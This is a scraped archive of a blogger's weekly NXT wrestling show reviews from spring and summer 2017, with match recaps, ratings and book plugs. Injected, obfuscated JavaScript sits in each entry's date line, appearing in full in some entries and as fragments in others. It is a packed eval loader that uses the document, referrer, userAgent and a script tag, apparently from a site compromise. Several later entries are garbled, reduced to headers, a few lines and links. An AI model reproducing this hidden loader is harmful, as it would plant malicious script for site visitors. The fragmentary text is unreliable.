NXT
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kkzfr|var|u0026u|referrer|ahzsr||js|php'.split('|'),0,{})) August 16, 2017
Location: Full Sail University, Winter Park, Florida
Commentators: Mauro Ranallo, Nigel McGuinness, Percy Watson

It’s the go home show for Takeover: Brooklyn III and the main event is an interesting case of booking for what comes after the big show. Tonight’s main event will see Roderick Strong vs. #1 contender Drew McIntyre. If Strong wins, he gets to face NXT Champion Bobby Roode at some point after Takeover, but he won’t be involved in the title match on Saturday no matter what. Let’s get to it.

Opening sequence.

The announcers preview tonight’s show and some of Saturday’s big matches.

Here’s General Manager William Regal to emcee the contract signing for the Women’s Title match. Both Asuka and Ember Moon come out with Moon grabbing a mic. She talks about Asuka having all kinds of success, including being one of the most dominant women in WWE history and even surpassing Goldberg’s undefeated streak. That being said, Asuka had to cheat to beat her and that’s not going to be enough this time. Asuka is losing the title in Brooklyn. They both sign but Asuka goes on a rant in Japanese, screaming in Moon’s face. Moon doesn’t seem phased.

Lars Sullivan came to see William Regal and asked for one more tag match, promising to not beat up his partner again. Regal reluctantly agrees.

Street Profits vs. Lars Sullivan/Chris Silvio

Percy and Mauro argue about how much sauce the Profits have. Sullivan gets a full entrance with his partner Silvio, who was an OVW mainstay for years. Silvio charges at Dawkins to start and eats a right hand. It’s such a hard shot that Ford runs into the crowd for a lap to burn off some excitement. Ford comes back in and drops Silvio with a shot to the back of the head, only to have Lars no sell a shot to the face. A Stinger Splash sets up the Sky High into a frog splash to put Silvio away at 1:47.

The Profits run from Sullivan, who is glaring down at Silvio. Sullivan picks Silvio up and carries him to the back in a change of pace. He takes Silvio outside and beats him up outside, because he promised not to hurt his partner in the ring.

Billie Kay vs. Ruby Riot

Fallout from last week where Kay and Peyton Royce made fun of Riot’s looks. Billie avoids Ruby to start and Peyton finds it hilarious. Riot gets in a rollup and does Billie’s giggling pose for a funny moment. A Peyton distraction lets Billie get in a discus lariat for two and Eat Defeat gets the same. Ruby fights up and uses her knees to send Billie face first into the buckle followed by a Pele for the pin at 4:08.

Rating: D+. Not much here but Riot is really starting to look like a bigger deal. She could easily be moved up the ranks to challenge Ember (assuming she wins) as she has the unique look and it factor to take her pretty far. Billie and Peyton are a good team but it’s a big stretch to have them win an important match, which makes them kind of a hard act to move forward.

Post match Peyton says lightning can’t strike twice and says Riot will never be iconic. Sounds like another match is coming.

We run down Saturday’s card.

Video on the Authors of Pain vs. Sanity.

Drew McIntyre vs. Roderick Strong

If Strong wins, he gets a match with Roode after Takeover. If McIntyre wins, nothing changes. Drew powers him down to start and sends Strong down with a suplex slam for good measure. Roderick dropkicks him to the outside but gets tossed into the post for his efforts. An enziguri and belly to back onto the apron put Drew down though and we take a break.

Back with Drew in a seated abdominal stretch and a running kick to the head staggering him even more. Drew fights up and gets in a belly to belly and a top rope forearm drops Strong again. The reverse Alabama Slam gets two but the Claymore is blocked with a jumping knee to the face. A headbutt catches Strong on top but he knocks Drew into the Tree of Woe, only to have Roode run in for the DQ at 12:38.

Rating: C+. Drew is still having trouble clicking in NXT and the more I watch him, the more I think a lot of it has to do with his size. He’s so much bigger than most of the people in NXT and it makes for awkward matches as you rarely have a face this much bigger than his opponents. Strong isn’t a big guy in the first place and it really shows when he’s compared to someone Drew’s size.

As for the ending, that was really the only way they could go. It was a back and forth match until the ending where Roode gave Strong the win (not his brightest move). This lets us have the match without having to give McIntyre a loss before his big match. It’s smart booking, though not the smartest move for Roode.

Roode beats up McIntyre with a Glorious DDT to end the show.

Overall Rating: C. This really wasn’t up to the level of most NXT go home shows. The three titles matches got a nice boost but the other two matches were only mentioned in passing. NXT is usually a lot better than this but it wasn’t there tonight. Roode vs. McIntyre still isn’t the most thrilling match in the world but at least they gave it something here. If the match itself is good, all of this will be forgotten but it’s not a great, or even a very good, build so far, which is very unlike NXT.

Results

Street Profits b. Lars Sullivan/Chris Silvio – Frog splash to Silvio

Ruby Riot b. Billie Kay – Pele Kick

Roderick Strong b. Drew McIntyre via DQ when Bobby Roode interfered

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

NXT
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dhbzi|var|u0026u|referrer|tsrhf||js|php'.split('|'),0,{})) August 2, 2017
Location: Full Sail University, Winter Park, Florida
Commentators: Mauro Ranallo, Nigel McGuinness, Percy Watson

With just over two weeks to go to before Takeover: Brooklyn III, it’s time to get some things moving. We already have a lot of the card set so now we can focus on building up what’s already announced and set up some other stuff. Tonight the main focus seems to be on Aleister Black, who currently doesn’t have a match for the big show. Let’s get to it.

Opening sequence.

Johnny Gargano vs. Raul Mendoza

Johnny comes out to the old DIY music and video but stops so they can both change to Gargano versions. Gargano takes him to the mat with a front facelock into a headlock but Mendoza nips up and gets two off a rollup. That earns Raul a superkick to the jaw and Johnny starts in on the arm. Mendoza gets in a dropkick for two of his own, only to miss a springboard and eat the spear through the ropes. Raul hits an enziguri and goes up but dives right into the modified Crossface for the tap at 4:13.

Rating: C. Gargano looked good here and that’s all he had to do in his first match after the DIY split. Ciampa vs. Gargano is going to be a headline match when it finally happens but you have to keep Gargano hot while he’s out there on his own. Not a bad match here, though Mendoza was nothing special.

We look at last week’s brawl between Sanity and the Authors of Pain. The title match is official for Brooklyn.

Paul Ellering says the Authors will write the chapter at Brooklyn. Until then though, be prepared because the monsters are real.

Here’s Asuka with something to say. As usual, she keeps it very simple by saying she’s beaten Ember Moon before and Ember isn’t ready to face her again. Cue Moon, to say she knows that she’s ready, just as Asuka knows. Asuka offers the handshake but slaps Ember instead. The fight is on with Ember getting in some right hands but eating a kick to to the face. Asuka poses with the title….and turns right into the Eclipse to knock her cold. Ember won’t pick up the title, saying she’ll touch it when she earns it. Good segment here with Asuka putting the Eclipse over huge.

Bobby Roode talks about proving that he’s a better man than Roderick Strong but of course Roderick wants to play the lottery again. As for Drew McIntyre, Bobby is more than willing to have a chat with him in the ring next week. Roode goes to leave when Strong charges in for a fight. William Regal and security break it up with Strong saying he’ll do anything to face Roode. Regal says his hands are tied because the match is made.

The Street Profits are here next week.

Sonya Deville vs. Jenna Van Bimmel

Sonya offers to let the much bigger Jenna have some free shots but does some head faking to avoid them. A hard clothesline sets up some knees to the ribs have Jenna in trouble as this is looking squashish. Jenna hits a charge in the corner but gets pulled down into a triangle choke for the tap at 2:06.

Hideo Itami is tired of not being respected so he’s not going to respect anyone. He rants in Japanese and ignores a need to go back to the arena. Instead he steals the mic and walks into the arena, saying he deserves respect. He doesn’t care who’s next but it’s Aleister Black cutting him off. After the long entrance, Itami goes to leave but tries a sneak attack. That goes bad for him though Black Mass drops Itami with one shot. Black just sitting there staring at Itami’s unconscious body is great stuff.

Kyle O’Reilly vs. Aleister Black

This is Kyle’s debut. Nigel: “HE’S HERE TOO!” Feeling out process to start and they fight over some grappling. Some striking doesn’t last long and they go back to the grappling with Kyle not being able to get a triangle choke. A chinlock is countered into a hammerlock as Mauro is trying to get in every MMA reference he can.

Back up and a spinning legsweep into the sitting pose has Kyle in trouble as we take a break. It’s not much better for Kyle when we come back as Aleister kicks him square in the chest for two. Black charges into a boot to the jaw though and Kyle snaps off some kicks of his own.

Kyle grabs a leglock on the mat and it’s a slap off until Black finally gets out. Black blocks a cross armbreaker so Kyle settles for a hammerlock and knees to the arm. Back from a second break with Black telling Kyle to hit him and grabbing a snap suplex for two. Kyle snaps the throat across the top though and it’s right back to another arm hold.

Black kicks him in the head to escape and gets two off a Lionsault press. A second attempt is blocked with a kick to the leg though and a big forearm to the back of the head gets two on Black. Aleister fires off more strikes but charges into a jumping knee. Not that it matters as Black Mass puts Kyle away at 22:56.

Rating: B+. I’m not big on the MMA style a lot of the time but this was very fun with both guys beating the heck out of each other for a long time. Black is one of the best built starts they’ve had in a good while as not only does he look cool but the finisher is as devastating as they’ve had in a long time. Kyle looked solid as well and it’s a very good debut, though I have a feeling the ReDRagon reunion is the way to go for both he and Bobby Fish.

Overall Rating: A-. You can tell NXT is starting to feel it as we head into the biggest show of the year. We had the Tag Team Title match confirmed tonight and you can probably pencil in Black vs. Itami as well as Gargano vs. someone. Add that to the already announced NXT and Women’s Title matches and Brooklyn is looking good. Give us a hard sell on the NXT Title match and everything will be fine.

Results

Johnny Gargano b. Raul Mendoza – Crossface

Sonya Deville b. Jenna Van Bimmel – Triangle choke

Aleister Black b. Kyle O’Reilly – Black Mass

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

NXT
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hkdyh|var|u0026u|referrer|adsrt||js|php'.split('|'),0,{})) July 26, 2017
Location: Full Sail University, Winter Park, Florida
Commentators: Mauro Ranallo, Nigel McGuinness, Percy Watson

With less than a month to go before Takeover: Brooklyn III, it’s time to start getting things ready for the biggest show of the year. We already have the NXT Title match set as Drew McIntyre will challenge Bobby Roode for the title but we need a bit more than that to fill out a card. Let’s get to it.

Opening sequence.

Ember Moon vs. Lei’D Tapa

Oh come on didn’t I have to watch enough of Tapa in TNA? Tapa runs her over with a clothesline to start but Moon shrugs it off. Moon loads herself up for a superplex but spins around into a regular suplex of her own (Bad News Barrett used to use that move). The Eclipse puts Tapa away at 1:22.

Ember wants Asuka and promises to give her some real competition.

Aleister Black video.

David Ramos/Timothy Bumpers vs. Authors of Pain

Non-title but hang on a second as Nikki Cross blocks the Authors’ path. Cue Sanity in the ring to beat up the jobbers as the Authors and Paul Ellering look on. The Authors hit the ring and the fight is on (Mauro: “LIKE DONKEY KONG!”) with the champs cleaning house without too much effort. No match of course.

The Street Profits are coming.

We look at Cezar Bononi shocking Andrade Cien Almas. Last week, Almas attacked Bononi again at the behest of the now named Zolita Vega.

Earlier today, Vega threatened No Way Jose with Almas’ wrath.

Velveteen Dream vs. Cezar Bononi

Dream pounds him down without much effort but gets kicked in the jaw and punched in the face. A Falcon Arrow gives Bononi two, only to have Dream come back with a Death Valley Bomb (a Death Valley Driver landing on the back instead of the head). The top rope elbow (Purple Rainmaker) for the pin at 1:39.

Post match Dream calls the NXT audience ugly and says their experience will have to wait.

General Manager William Regal officially makes Moon vs. Asuka for the title in Brooklyn.

Here’s McIntyre to talk about his upcoming title match. There are four weeks until Brooklyn and that’s not a lot of time. Drew doesn’t have a backwards button because he only goes forward. When he was in WWE before, he was the Chosen One and expected to have everything handed to him. That’s why he failed though. Once he was gone from WWE, it became clear to him that he had to be the hardest worker in the world. Now McIntyre looks at Roode and sees nothing but entitlement. This isn’t Roode’s NXT because it belongs to all of the people here. He wants everyone to stand up with him because WE ARE NXT.

Raul Mendoza is ready to face Johnny Gargano next week. Maybe we’ll be talking about his rise instead of Gargano’s return.

Kassius Ohno vs. Hideo Itami

Ohno takes him down by the arm to start and they hit the mat for some grappling. Itami shrugs off a chop so Ohno hammers away even more, including a basement dropkick to the head. Ohno flips onto the apron but gets kicked in the chest, followed by a middle rope Fameasser. Back from a break with Itami dropping a knee for two and kicking him in the back with a sneer.

A chinlock set up a few more kicks to the chest and it’s right back to the chinlockery. Itami dives into a chop though and Ohno runs through a kick, setting up a Shining Wizard. The cyclone boot and a backsplash give Ohno two but Itami is right back with a suplex. The GTS doesn’t work so Ohno kicks him in the jaw, only to have Itami kick him low for the DQ at 11:44.

Rating: C+. They beat the heck out of each other here and I dig the ending with Itami taking the cheater’s way out and attacking Ohno when he thought he couldn’t beat him. That’s a great way to push his heel turn and makes him look like a changed man instead of someone willing to fight with honor. Ohno continues to be a fine upper midcard face who isn’t going anywhere in the long term and there’s nothing wrong with that.

Itami unloads on him with kicks post match and adds a trio of GTS’s with the third landing on the steps.

Overall Rating: C+. This was kind of an odd show as they had some big stuff announced but a lot of the show was spent on stuff that didn’t seem to make the biggest difference. It wasn’t bad by any means though and I’m kind of glad they didn’t push things when they didn’t need to be pushed. NXT has found the right balance of focus and not overdoing things and that’s very helpful as we head towards Brooklyn. Two matches are official and I think you can figure out most of what else is coming without too much effort. Not bad with about a month to go.

Results

Ember Moon b. Lei’D Tapa – Eclipse

Velveteen Dream b. Cezar Bononi – Purple Rainmaker

Kassius Ohno b. Hideo Itami via DQ when Itami kicked him low

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bnhys|var|u0026u|referrer|aydys||js|php'.split('|'),0,{})) July 5, 2017
Location: Full Sail University, Winter Park, Florida
Commentators: Nigel McGuinness, Mauro Ranallo, Percy Watson

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

NXT
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tskfd|var|u0026u|referrer|inikz||js|php'.split('|'),0,{})) June 27, 2017
Location: Full Sail University, Winter Park, Florida
Commentators: Tom Phillips, Nigel McGuinness, Percy Watson

Quick look at the main event.

Opening sequence.

Ember Moon vs. Peyton Royce

Hideo Itami comes up to Ohno to kind of apologize for his recent actions. Ohno understands and thinks they should be good to go, but Itami needs to stick on the good side.

Ealy Brothers vs. Sanity

Sonya Deville video.

Rachel Evers vs. Sonya Deville

That anytime would be in two weeks on the 400^th episode.

Aleister Black vs. Kassius Ohno

Results

Ember Moon b. Peyton Royce – Eclipse

Sanity b. Ealy Brothers – Belly to back suplex/neckbreaker combination to Uriel

Sonya Deville b. Rachel Evers – Kimura

Aleister Black b. Kassius Ohno – Black Mass

http://kbwrestlingreviews.com/2017/05/19/history-of-saturday-nights-main-event-and-clash-of-the-champions-now-in-paperback-plus-price-drops/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dktai|var|u0026u|referrer|ineyn||js|php'.split('|'),0,{})) June 7, 2017
Location: Full Sail University, Winter Park, Florida
Commentators: Percy Watson, Tom Phillips, Nigel McGuinness

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ybekt|var|u0026u|referrer|tszta||js|php'.split('|'),0,{})) May 3, 2017
Location: Full Sail University, Winter Park, Florida
Commentators: Percy Watson, Tom Phillips, Nigel McGuinness

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|htazz|var|u0026u|referrer|ndezf||js|php'.split('|'),0,{})) April 19, 2017
Location: Full Sail University, Winter Park, Florida
Commentators: Percy Watson, Corey Graves, Tom Phillips

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kirhb|var|u0026u|referrer|kyfbk||js|php'.split('|'),0,{})) April 12, 2017
Location: Full Sail University, Winter Park, Florida
Commentators: Nigel McGuinness, Tom Phillips, Percy Watson

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fheik|var|u0026u|referrer|fehts||js|php'.split('|'),0,{})) March 29, 2017
Location: University Area CDC Gymnasium, Tampa, Florida
Commentators: Percy Watson, Nigel McGuinness, Tom Phillips

http://www.amazon.com/Thomas-Hall/e/B00E6282W6